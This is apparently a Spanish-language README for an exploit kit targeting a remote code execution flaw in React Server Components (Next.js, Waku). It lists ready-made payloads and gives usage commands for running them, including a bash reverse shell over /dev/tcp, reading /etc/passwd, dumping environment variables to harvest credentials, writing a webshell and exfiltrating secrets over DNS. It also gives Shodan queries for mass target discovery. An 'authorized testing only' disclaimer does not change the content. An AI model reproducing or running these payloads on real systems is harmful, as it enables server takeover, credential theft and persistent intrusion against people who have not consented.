
Kit de explotación avanzado de RCE para vulnerabilidades de React Server Components. Incluye múltiples payloads preconstruidos, integración con Shodan para descubrimiento de objetivos y escaneo masivo para pruebas de penetración autorizadas.
Kit de explotación avanzado para vulnerabilidades de ejecución remota de código en React Server Components
Solo para pruebas de penetración autorizadas e investigación de seguridad
Características • Instalación • Uso • Integración con Shodan • Ejemplos • Aviso legal
Este kit explota una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en implementaciones de React Server Components (RSC), dirigido específicamente a:
La vulnerabilidad aprovecha la contaminación de prototipos y la deserialización insegura en el mecanismo de manejo de datos de RSC para lograr la ejecución de código arbitrario en el servidor.
React Server Components utiliza un formato de serialización personalizado para transferir datos entre el cliente y el servidor. La vulnerabilidad existe en la forma en que estos frameworks deserializan y procesan payloads especialmente diseñados.
Cadena de ataque:
$X:constructor:constructor para acceder al constructor de funciones_prefixAtacante → Payload RSC malicioso → Servidor objetivo
↓
Deserialización insegura
↓
Acceso a la cadena de prototipos
↓
Constructor de funciones
↓
⚠️ RCE LOGRADO ⚠️
| Payload | Descripción | Caso de uso |
|---|---|---|
console | PoC básico (console.log) | Verificar vulnerabilidad |
reverseShell | Reverse shell en Bash | Acceso inicial |
readFile | Leer /etc/passwd | Acceso al sistema de archivos |
envDump | Volcar variables de entorno | Extracción de credenciales |
execCommand | Ejecutar comandos del sistema | Ejecución arbitraria de comandos |
webshell | Desplegar webshell Express | Acceso persistente |
exfilPackage | Exfiltrar package.json | Análisis de dependencias |
dnsExfil | Exfiltración por DNS (OOB) | Explotación ciega |
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# o
yarn install
# Instalar Shodan CLI
pip install shodan
# Inicializar con tu clave API
shodan init TU_CLAVE_API
node rsc-rce-exploit.js --target http://objetivo-vulnerable.com --payload console
# Iniciar listener
nc -lvnp 4444
# Ejecutar exploit
node rsc-rce-exploit.js \
--target http://objetivo-vulnerable.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://objetivo-vulnerable.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [opciones]
| Opción | Descripción | Requerido |
|---|---|---|
--target <url> | URL del objetivo | ✅ |
--framework <nombre> | Framework: next o waku | ❌ (por defecto: next) |
--payload <nombre> | Nombre del payload (ver abajo) | ✅* |
--custom <código> | Código JavaScript personalizado | ✅* |
--lhost <ip> | Tu IP (para reverse shell) | ❌ |
--lport <puerto> | Tu puerto (para reverse shell) | ❌ |
--command <cmd> | Comando a ejecutar | ❌ |
--endpoint <ruta> | Endpoint RSC personalizado (Waku) | ❌ |
--action-id <id> | ID de next-action personalizado | ❌ |
--list | Listar payloads disponibles | ❌ |
--verbose | Salida verbosa | ❌ |
--help | Mostrar ayuda | ❌ |
*Es requerido --payload o --custom
Ver todos los payloads:
node rsc-rce-exploit.js --list
Salida:
📋 Payloads disponibles:
console - PoC básico - Salida en consola
Código: console.log(7*7+1)
reverseShell - Reverse shell (bash)
Código: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - Leer /etc/passwd
Código: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - Volcar variables de entorno
Código: console.log(JSON.stringify(process.env,null,2))
execCommand - Ejecutar comando del sistema
Código: console.log(require('child_process').execSync('COMMAND').toString())
webshell - Escribir webshell en /tmp
Código: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - Leer package.json
Código: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - Exfiltración por DNS
Código: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
Ejecutar cualquier código JavaScript:
node rsc-rce-exploit.js \
--target http://objetivo.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Next.js básico
http.component:"Next.js"
# Next.js con RSC
http.html:"__next" http.html:"RSC"